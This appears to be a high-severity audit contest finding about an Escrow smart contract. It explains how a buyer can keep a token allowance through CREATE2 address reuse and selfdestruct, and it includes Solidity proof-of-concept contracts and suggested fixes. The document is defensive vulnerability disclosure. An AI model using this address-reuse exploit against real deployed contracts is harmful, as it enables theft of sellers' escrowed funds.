40,000 USDC
View results
Submission Details
Severity: high

Seller may lose rewards when accept an Escrow deployed without EscrowFactory

Summary

Escrow is expected to be deployed with EscrowFactory, however, this is not mandatory, buyer can deploy Escrow without EscrowFactory, and seller may choose to interact with an independently deployed Escrow for the following reasons:

  1. Seller has difficulty knowing if Escrow is deployed with EscrowFactory;

  2. Seller does not really care how Escrow is deployed, as long as the Escrow is deployed correctly.

Unfortunately, buyer can withdraw Token from an Escrow deployed without EscrowFactory and Seller may lose rewards.

Vulnerability Details

A malicious buyer can withdraw Token from Escrow if the buyer has the Token allowance, in order to achieve this, buyer needs to create 2 contracts:

  • Approver: grants Token allowance, can selfdesctruct

  • Deployer: deploys Approver and Escrow contracts, can selfdestruct

Buyer can get the Token allowance of Escrow by the following steps:

  1. Create Deployer contract with CREATE2;

  2. Use Deployer contract to create (nonce: 1) Approver contract;

  3. Transfer price amount of Token to Approver address;

  4. Call Approver contract to get Token allowance;

  5. Destory Approver contract;

  6. Create Deployer contract with CREATE2 again(this needs to be done in a seperate transaction), Deployer address is the same as before;

  7. Use Deployer contract to create (nonce: 1) Escrow contract, Escrow address is the same as Approver address.

Please see the sample contracts below:

contract Malicious {
Deployer deployer;
Approver public approver;
Escrow public escrow;
function createDeployer() public {
deployer = new Deployer{salt: "salt"}(token);
}
function deployApprover() public {
approver = deployer.deployApprover();
}
function deployEscrow(uint256 price, IERC20 token, address buyer, address seller) public {
escrow = deployer.deployEscrow(price, token, buyer, seller);
}
function getTokenAllowance(IERC20 token, address spender, uint256 amount) public {
approver.approve(token, spender, amount);
}
function destoryDeployer() public {
deployer.destroy();
deployer = Deployer(address(0));
}
function destroyApprover() public {
approver.destroy();
approver = Approver(address(0));
}
}
contract Deployer {
function deployApprover() public returns (Approver approver) {
approver = new Approver();
}
function deployEscrow(uint256 price, IERC20 token, address buyer, address seller) public returns (Escrow escrow) {
escrow = new Escrow(
price,
token,
buyer,
seller,
address(0),
0
);
}
function destroy() public {
selfdestruct(payable(msg.sender));
}
}
contract Approver {
function approve(IERC20 token, address spender, uint256 amount) public {
token.approve(spender, amount);
}
function destroy() public {
selfdestruct(payable(msg.sender));
}
}

Impact

Seller loses rewards.

Tools Used

Manual Reivew

Recommendations

  1. Register created Escrow addresses in EscrowFactory to make it easy for seller to check;

  2. Escrow functions should revert if this Escrow is not resigester in EscrowFactory.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.